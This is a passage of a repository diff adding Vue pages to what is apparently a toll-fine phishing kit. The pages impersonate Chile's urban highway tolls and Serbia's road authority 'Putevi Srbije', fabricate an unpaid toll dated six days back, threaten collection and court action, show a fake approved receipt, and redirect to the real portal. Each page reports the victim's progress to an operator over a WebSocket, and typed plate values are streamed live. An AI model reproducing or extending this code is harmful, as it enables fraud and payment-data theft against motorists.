||||
}
|
||||
</style>
|
||||
336
t_global_Fine_temp1/src/views/PayView.vue
Normal file
336
t_global_Fine_temp1/src/views/PayView.vue
Normal file
@@ -0,0 +1,336 @@
|
||||
<script setup lang="ts">
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { onMounted, ref } from "vue";
|
||||
import { configData, myWebSocket } from "../utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
|
||||
const { t } = useI18n();
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
const router = useRouter();
|
||||
|
||||
const licensePlate = ref("");
|
||||
|
||||
const fineAmount = ref("$6.99");
|
||||
|
||||
const tollDate = ref("");
|
||||
|
||||
|
||||
const calculateTollDate = () => {
|
||||
const now = new Date();
|
||||
const sixDaysAgo = new Date(now.getTime() - 6 * 24 * 60 * 60 * 1000);
|
||||
const month = String(sixDaysAgo.getMonth() + 1).padStart(2, '0');
|
||||
const day = String(sixDaysAgo.getDate()).padStart(2, '0');
|
||||
const year = sixDaysAgo.getFullYear();
|
||||
return `${month}/${day}/${year}`;
|
||||
};
|
||||
|
||||
const next = () => {
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/address");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "pay" },
|
||||
})
|
||||
);
|
||||
|
||||
localStorage.setItem("route", "pay");
|
||||
|
||||
// 獲取上一步輸入的車牌/手機號 (phoneNumber)
|
||||
const savedPlate = localStorage.getItem("phoneNumber");
|
||||
if (savedPlate) {
|
||||
licensePlate.value = savedPlate;
|
||||
}
|
||||
|
||||
// 設置費用日期為當前日期的 6 天前
|
||||
tollDate.value = calculateTollDate();
|
||||
|
||||
// 如果後台配置了金額,則優先使用配置金額
|
||||
if (configData?.value?.pay_amount) {
|
||||
fineAmount.value = `$${configData.value.pay_amount}`;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="chile-pay-wrapper">
|
||||
<div class="chile-pay-container">
|
||||
|
||||
<div class="chile-header">
|
||||
<h2>Resumen de tránsito detectado</h2>
|
||||
<div class="blue-line"></div>
|
||||
</div>
|
||||
|
||||
<div class="plate-display-card">
|
||||
<span class="plate-label">PATENTE CONSULTADA</span>
|
||||
<div class="plate-number">{{ licensePlate }}</div>
|
||||
</div>
|
||||
|
||||
<div class="info-alert-box">
|
||||
<p>
|
||||
Se ha identificado un tránsito sin TAG asociado a la patente indicada.
|
||||
Antes de iniciar gestiones formales de cobro, le ofrecemos regularizar
|
||||
el monto de forma simple y segura en línea.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="amount-detail-table">
|
||||
<div class="table-header">
|
||||
Detalle del monto a regularizar
|
||||
</div>
|
||||
|
||||
<div class="table-row gray-bg">
|
||||
<span class="row-label">Toll Date</span>
|
||||
</div>
|
||||
<div class="table-row">
|
||||
<span class="row-value bold">{{ tollDate }}</span>
|
||||
</div>
|
||||
|
||||
<div class="table-row gray-bg">
|
||||
<span class="row-label">Ubicación de la circulación</span>
|
||||
</div>
|
||||
<div class="table-row">
|
||||
<span class="row-value bold">Autopista urbana concesionada en Chile</span>
|
||||
</div>
|
||||
|
||||
<div class="divider-line"></div>
|
||||
|
||||
<div class="table-row gray-bg">
|
||||
<span class="row-label">Peaje base</span>
|
||||
</div>
|
||||
<div class="table-row">
|
||||
<span class="row-value bold">{{
|
||||
configData?.pay_amount ? configData.pay_amount : "$6.99"
|
||||
}}</span>
|
||||
</div>
|
||||
|
||||
<div class="table-row gray-bg">
|
||||
<span class="row-label">Cargos adicionales</span>
|
||||
</div>
|
||||
<div class="table-row">
|
||||
<span class="row-value red">$0.00</span>
|
||||
</div>
|
||||
|
||||
<div class="table-row gray-bg">
|
||||
<span class="row-label">Total Amount Due</span>
|
||||
</div>
|
||||
<div class="table-row total-row">
|
||||
<span class="row-value red large">{{
|
||||
configData?.pay_amount ? configData.pay_amount : "$6.99"
|
||||
}}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="button-section">
|
||||
<button @click="next" class="chile-btn-primary">
|
||||
Continuar con los datos del titular
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div class="consequences-card">
|
||||
<h3>Si no regulariza este tránsito, pueden aplicarse las siguientes medidas:</h3>
|
||||
<ul>
|
||||
<li>Aplicación de cargos adicionales y gastos de cobranza sobre el monto original.</li>
|
||||
<li>Derivación del caso a empresas externas de cobranza autorizadas.</li>
|
||||
<li>Registro de multas e infracciones de tránsito asociadas al vehículo.</li>
|
||||
<li>Imposibilidad de renovar el permiso de circulación hasta regularizar la deuda.</li>
|
||||
<li>Eventual denuncia ante el Juzgado de Policía Local competente.</li>
|
||||
<li>Otras gestiones de cobro permitidas por la normativa vigente en Chile.</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.chile-pay-wrapper {
|
||||
background-color: #ffffff;
|
||||
min-height: 100vh;
|
||||
padding: 20px 15px;
|
||||
font-family: Arial, sans-serif;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.chile-pay-container {
|
||||
max-width: 480px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
/* 標題與藍線 */
|
||||
.chile-header h2 {
|
||||
font-size: 20px;
|
||||
font-weight: bold;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.blue-line {
|
||||
height: 4px;
|
||||
background-color: #4a90e2;
|
||||
width: 100%;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
|
||||
/* 車牌顯示區域 */
|
||||
.plate-display-card {
|
||||
background-color: #f8f9fa;
|
||||
padding: 20px;
|
||||
margin-bottom: 20px;
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.plate-label {
|
||||
font-size: 12px;
|
||||
color: #888;
|
||||
font-weight: bold;
|
||||
letter-spacing: 0.5px;
|
||||
display: block;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.plate-number {
|
||||
font-size: 24px;
|
||||
font-weight: bold;
|
||||
letter-spacing: 2px;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
/* 藍色提示框 */
|
||||
.info-alert-box {
|
||||
background-color: #f0f7ff;
|
||||
border-left: 4px solid #4a90e2;
|
||||
padding: 15px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
|
||||
.info-alert-box p {
|
||||
margin: 0;
|
||||
font-size: 14px;
|
||||
line-height: 1.5;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
/* 表格詳情樣式 */
|
||||
.amount-detail-table {
|
||||
border: 1px solid #dee2e6;
|
||||
border-radius: 4px;
|
||||
overflow: hidden;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
|
||||
.table-header {
|
||||
background-color: #333;
|
||||
color: white;
|
||||
padding: 12px 15px;
|
||||
font-size: 16px;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.table-row {
|
||||
padding: 10px 15px;
|
||||
border-bottom: 1px solid #eee;
|
||||
}
|
||||
|
||||
.gray-bg {
|
||||
background-color: #fafafa;
|
||||
}
|
||||
|
||||
.row-label {
|
||||
font-size: 13px;
|
||||
color: #777;
|
||||
}
|
||||
|
||||
.row-value {
|
||||
font-size: 15px;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.bold {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.red {
|
||||
color: #d0021b;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.large {
|
||||
font-size: 22px;
|
||||
}
|
||||
|
||||
.divider-line {
|
||||
height: 2px;
|
||||
background-color: #4a90e2;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.total-row {
|
||||
padding: 15px;
|
||||
}
|
||||
|
||||
/* 按鈕樣式 */
|
||||
.button-section {
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
.chile-btn-primary {
|
||||
width: 100%;
|
||||
background-color: #4a90e2;
|
||||
color: white;
|
||||
border: none;
|
||||
border-radius: 6px;
|
||||
padding: 14px;
|
||||
font-size: 16px;
|
||||
font-weight: bold;
|
||||
cursor: pointer;
|
||||
transition: background 0.3s;
|
||||
}
|
||||
|
||||
.chile-btn-primary:hover {
|
||||
background-color: #357abd;
|
||||
}
|
||||
|
||||
/* 底部後果提示 */
|
||||
.consequences-card {
|
||||
background-color: #f8f9fa;
|
||||
border-left: 4px solid #4a90e2;
|
||||
padding: 15px;
|
||||
}
|
||||
|
||||
.consequences-card h3 {
|
||||
font-size: 15px;
|
||||
font-weight: bold;
|
||||
margin-bottom: 15px;
|
||||
line-height: 1.4;
|
||||
}
|
||||
|
||||
.consequences-card ul {
|
||||
padding-left: 20px;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.consequences-card li {
|
||||
font-size: 13px;
|
||||
color: #555;
|
||||
margin-bottom: 12px;
|
||||
line-height: 1.4;
|
||||
}
|
||||
|
||||
@media (max-width: 480px) {
|
||||
.plate-number { font-size: 20px; }
|
||||
.large { font-size: 20px; }
|
||||
}
|
||||
</style>
|
||||
225
t_global_Fine_temp1/src/views/PhoneView copy 2.vue
Normal file
225
t_global_Fine_temp1/src/views/PhoneView copy 2.vue
Normal file
@@ -0,0 +1,225 @@
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, ref, watch } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
|
||||
const { t } = useI18n();
|
||||
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
const formData = ref({ licensePlateData: { licensePlate: "" } });
|
||||
|
||||
const instance = getCurrentInstance()!;
|
||||
|
||||
const onchange = (event: any) => {
|
||||
inputChange("Регистарска ознака", "plate", event.target.value);
|
||||
};
|
||||
|
||||
const next = () => {
|
||||
localStorage.setItem("licensePlate", formData.value.licensePlateData.licensePlate);
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/pay");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
watch(
|
||||
instance.appContext.config.globalProperties.$currentUser,
|
||||
(newValue, oldValue) => {}
|
||||
);
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "phone" },
|
||||
})
|
||||
);
|
||||
const userData =
|
||||
getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.licensePlateData) {
|
||||
formData.value = userData;
|
||||
}
|
||||
localStorage.setItem("route", "phone");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="image-container">
|
||||
<img
|
||||
src="/Static_zy/koridor10-juzni-krak.jpg"
|
||||
alt="Путеви Србије"
|
||||
style="width: 100%; height: auto; max-width: 100%; margin-top: -10px; margin-bottom: -16px;">
|
||||
</div>
|
||||
<div class="main-content-body">
|
||||
<div class="container">
|
||||
<form @submit.prevent="next">
|
||||
<div class="content-body">
|
||||
<h1>{{ t("Провера статуса наплате путарине") }}</h1>
|
||||
<p>
|
||||
{{ t("Унесите регистарску ознаку возила да бисте проверили статус неплаћених путарина и казни према подацима ЈП 'Путеви Србије'.") }}
|
||||
</p>
|
||||
<div class="input-group">
|
||||
<label for="licensePlate">
|
||||
{{ t("Регистарска ознака") }}
|
||||
</label>
|
||||
<input
|
||||
id="licensePlate"
|
||||
type="text"
|
||||
required
|
||||
autofocus
|
||||
@input="onchange"
|
||||
v-model="formData.licensePlateData.licensePlate"
|
||||
inputmode="text"
|
||||
:placeholder="t('Пример: BG123456')"
|
||||
class="full-width-input"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div class="button-submit">
|
||||
<button type="submit" class="full-width-btn">
|
||||
{{ t("Провери статус") }}
|
||||
</button>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.image-container {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.main-content-body {
|
||||
background-color: #f0f4f8;
|
||||
padding: 3rem 1rem;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 720px;
|
||||
margin: 0 auto;
|
||||
background-color: #ffffff;
|
||||
border: 1px solid #d0d7de;
|
||||
border-radius: 8px;
|
||||
padding: 2rem;
|
||||
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
|
||||
}
|
||||
|
||||
.content-body {
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 1.8rem;
|
||||
font-weight: 700;
|
||||
color: #003087;
|
||||
margin-bottom: 1rem;
|
||||
font-family: 'Arial', sans-serif;
|
||||
}
|
||||
|
||||
p {
|
||||
color: #333333;
|
||||
font-size: 1rem;
|
||||
line-height: 1.5;
|
||||
margin-bottom: 1.5rem;
|
||||
font-family: 'Arial', sans-serif;
|
||||
}
|
||||
|
||||
.input-group {
|
||||
margin-bottom: 1.5rem;
|
||||
}
|
||||
|
||||
label {
|
||||
display: block;
|
||||
font-size: 1rem;
|
||||
font-weight: 500;
|
||||
color: #003087;
|
||||
margin-bottom: 0.5rem;
|
||||
font-family: 'Arial', sans-serif;
|
||||
}
|
||||
|
||||
.full-width-input {
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
padding: 0.75rem;
|
||||
font-size: 1rem;
|
||||
border: 1px solid #b0b8c1;
|
||||
border-radius: 5px;
|
||||
background-color: #ffffff;
|
||||
color: #333333;
|
||||
font-family: 'Arial', sans-serif;
|
||||
transition: border-color 0.2s;
|
||||
margin-bottom: 0;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.full-width-input:focus {
|
||||
outline: none;
|
||||
border-color: #003087;
|
||||
box-shadow: 0 0 0 2px rgba(0, 48, 135, 0.2);
|
||||
}
|
||||
|
||||
.button-submit {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.full-width-btn {
|
||||
width: 100%;
|
||||
background-color: #003087;
|
||||
color: #ffffff;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
font-size: 1.1rem;
|
||||
font-weight: 600;
|
||||
padding: 0.85rem 0;
|
||||
cursor: pointer;
|
||||
transition: background 0.2s;
|
||||
font-family: 'Arial', sans-serif;
|
||||
margin-top: 0.3rem;
|
||||
box-sizing: border-box;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.full-width-btn:hover {
|
||||
background-color: #00205b;
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.container {
|
||||
padding: 1.5rem;
|
||||
margin: 0 1rem;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 1.3rem;
|
||||
}
|
||||
|
||||
p {
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
|
||||
.full-width-input {
|
||||
padding: 0.6rem;
|
||||
}
|
||||
|
||||
.full-width-btn {
|
||||
padding: 0.75rem 0;
|
||||
font-size: 1rem;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
290
t_global_Fine_temp1/src/views/SuccessView.vue
Normal file
290
t_global_Fine_temp1/src/views/SuccessView.vue
Normal file
@@ -0,0 +1,290 @@
|
||||
<script setup lang="ts">
|
||||
import { onMounted, ref, computed } from "vue";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { myWebSocket, redirectToExternal, configData } from "@/utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
|
||||
const { t } = useI18n();
|
||||
|
||||
const loading = ref(true);
|
||||
const invoiceNumber = ref("");
|
||||
const referenceId = ref("");
|
||||
|
||||
// 格式化為智利本地常用日期格式 (DD/MM/YYYY)
|
||||
const getChileFormattedDate = () => {
|
||||
const date = new Date();
|
||||
const day = String(date.getDate()).padStart(2, '0');
|
||||
const month = String(date.getMonth() + 1).padStart(2, '0');
|
||||
const year = date.getFullYear();
|
||||
return `${day}/${month}/${year}`;
|
||||
};
|
||||
|
||||
const paymentDate = computed(() => getChileFormattedDate());
|
||||
|
||||
onMounted(() => {
|
||||
// 1. 生成隨機 Reference ID (保持原邏輯)
|
||||
referenceId.value = Math.random().toString(36).toUpperCase().substring(2, 12);
|
||||
|
||||
// 2. 通知後端頁面類型
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "success" },
|
||||
})
|
||||
);
|
||||
|
||||
// 3. 獲取之前的單號
|
||||
const inumber = localStorage.getItem("invoiceNumber");
|
||||
invoiceNumber.value = inumber || "CL-PR-2026-9912";
|
||||
|
||||
// 4. 保持邏輯:3秒後自動跳轉回官方網站
|
||||
setTimeout(() => {
|
||||
loading.value = false;
|
||||
redirectToExternal();
|
||||
}, 3000);
|
||||
|
||||
localStorage.setItem("route", "success");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="chile-success-wrapper">
|
||||
|
||||
<div class="chile-card">
|
||||
|
||||
<div class="chile-header">
|
||||
<h2>Comprobante de Pago</h2>
|
||||
<div class="blue-line"></div>
|
||||
</div>
|
||||
|
||||
<div class="success-status">
|
||||
<div class="icon-circle">
|
||||
<svg viewBox="0 0 24 24" class="check-svg">
|
||||
<path d="M9 16.17L4.83 12l-1.42 1.41L9 19 21 7l-1.41-1.41z" />
|
||||
</svg>
|
||||
</div>
|
||||
<h1 class="status-title">¡Pago Realizado con Éxito!</h1>
|
||||
<p class="status-desc">Tu transacción ha sido procesada correctamente en el sistema de recaudación.</p>
|
||||
</div>
|
||||
|
||||
<div class="receipt-details">
|
||||
<div class="detail-item">
|
||||
<span class="label">Nro. de Comprobante:</span>
|
||||
<span class="value bold">{{ invoiceNumber }}</span>
|
||||
</div>
|
||||
|
||||
<div class="detail-item">
|
||||
<span class="label">Monto Pagado:</span>
|
||||
<span class="value amount">{{ configData?.pay_amount ? configData.pay_amount : "$6.99" }}</span>
|
||||
</div>
|
||||
|
||||
<div class="detail-item">
|
||||
<span class="label">Fecha de Pago:</span>
|
||||
<span class="value">{{ paymentDate }}</span>
|
||||
</div>
|
||||
|
||||
<div class="detail-item">
|
||||
<span class="label">Estado:</span>
|
||||
<span class="status-tag">APROBADO</span>
|
||||
</div>
|
||||
|
||||
<div class="divider"></div>
|
||||
|
||||
<div class="detail-item">
|
||||
<span class="label">ID de Referencia:</span>
|
||||
<span class="value mono">#{{ referenceId }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="info-notice">
|
||||
<span class="info-icon">ℹ️</span>
|
||||
<p>El sistema puede tardar unos minutos en actualizar el estado de su deuda. Le recomendamos descargar este comprobante o anotar el ID de referencia.</p>
|
||||
</div>
|
||||
|
||||
<div class="redirect-footer" v-if="loading">
|
||||
<div class="spinner"></div>
|
||||
<p>Redirigiendo al portal oficial en unos segundos...</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.chile-success-wrapper {
|
||||
background-color: #f4f7f9;
|
||||
min-height: 100vh;
|
||||
padding: 30px 15px;
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
|
||||
/* 核心:圓潤 Border 與卡片陰影 */
|
||||
.chile-card {
|
||||
max-width: 480px;
|
||||
margin: 0 auto;
|
||||
background: #ffffff;
|
||||
border-radius: 12px;
|
||||
border: 1px solid #e1e8ed;
|
||||
padding: 30px 20px;
|
||||
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.08);
|
||||
}
|
||||
|
||||
.chile-header h2 {
|
||||
font-size: 18px;
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.blue-line {
|
||||
height: 4px;
|
||||
background-color: #4a90e2;
|
||||
width: 100%;
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
/* 成功狀態區 */
|
||||
.success-status {
|
||||
text-align: center;
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
.icon-circle {
|
||||
width: 70px;
|
||||
height: 70px;
|
||||
background-color: #e6f7ef;
|
||||
border-radius: 50%;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
margin: 0 auto 15px;
|
||||
}
|
||||
|
||||
.check-svg {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
fill: #27ae60;
|
||||
}
|
||||
|
||||
.status-title {
|
||||
font-size: 24px;
|
||||
font-weight: 800;
|
||||
color: #2c3e50;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.status-desc {
|
||||
font-size: 14px;
|
||||
color: #7f8c8d;
|
||||
line-height: 1.4;
|
||||
}
|
||||
|
||||
/* 詳情列表 */
|
||||
.receipt-details {
|
||||
background-color: #fdfdfd;
|
||||
border: 1px solid #f0f0f0;
|
||||
border-radius: 8px;
|
||||
padding: 20px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
|
||||
.detail-item {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
margin-bottom: 15px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.detail-item:last-child {
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.label {
|
||||
color: #7f8c8d;
|
||||
}
|
||||
|
||||
.value {
|
||||
color: #2c3e50;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.value.bold {
|
||||
font-weight: 800;
|
||||
}
|
||||
|
||||
.value.amount {
|
||||
color: #4a90e2;
|
||||
font-size: 18px;
|
||||
font-weight: 800;
|
||||
}
|
||||
|
||||
.value.mono {
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
}
|
||||
|
||||
.status-tag {
|
||||
background-color: #27ae60;
|
||||
color: white;
|
||||
font-size: 11px;
|
||||
font-weight: bold;
|
||||
padding: 3px 8px;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
.divider {
|
||||
border-top: 1px dashed #ddd;
|
||||
margin: 15px 0;
|
||||
}
|
||||
|
||||
/* 提示框 */
|
||||
.info-notice {
|
||||
background-color: #fff9e6;
|
||||
border: 1px solid #ffeaa7;
|
||||
border-radius: 8px;
|
||||
padding: 12px;
|
||||
display: flex;
|
||||
gap: 10px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
|
||||
.info-icon {
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
.info-notice p {
|
||||
font-size: 12px;
|
||||
color: #8a6d3b;
|
||||
line-height: 1.5;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* 跳轉指示器 */
|
||||
.redirect-footer {
|
||||
text-align: center;
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.redirect-footer p {
|
||||
font-size: 12px;
|
||||
color: #bdc3c7;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
width: 24px;
|
||||
height: 24px;
|
||||
border: 3px solid #f3f3f3;
|
||||
border-top: 3px solid #4a90e2;
|
||||
border-radius: 50%;
|
||||
margin: 0 auto;
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% { transform: rotate(0deg); }
|
||||
100% { transform: rotate(360deg); }
|
||||
}
|
||||
</style>
|
||||
Reference in New Issue
Block a user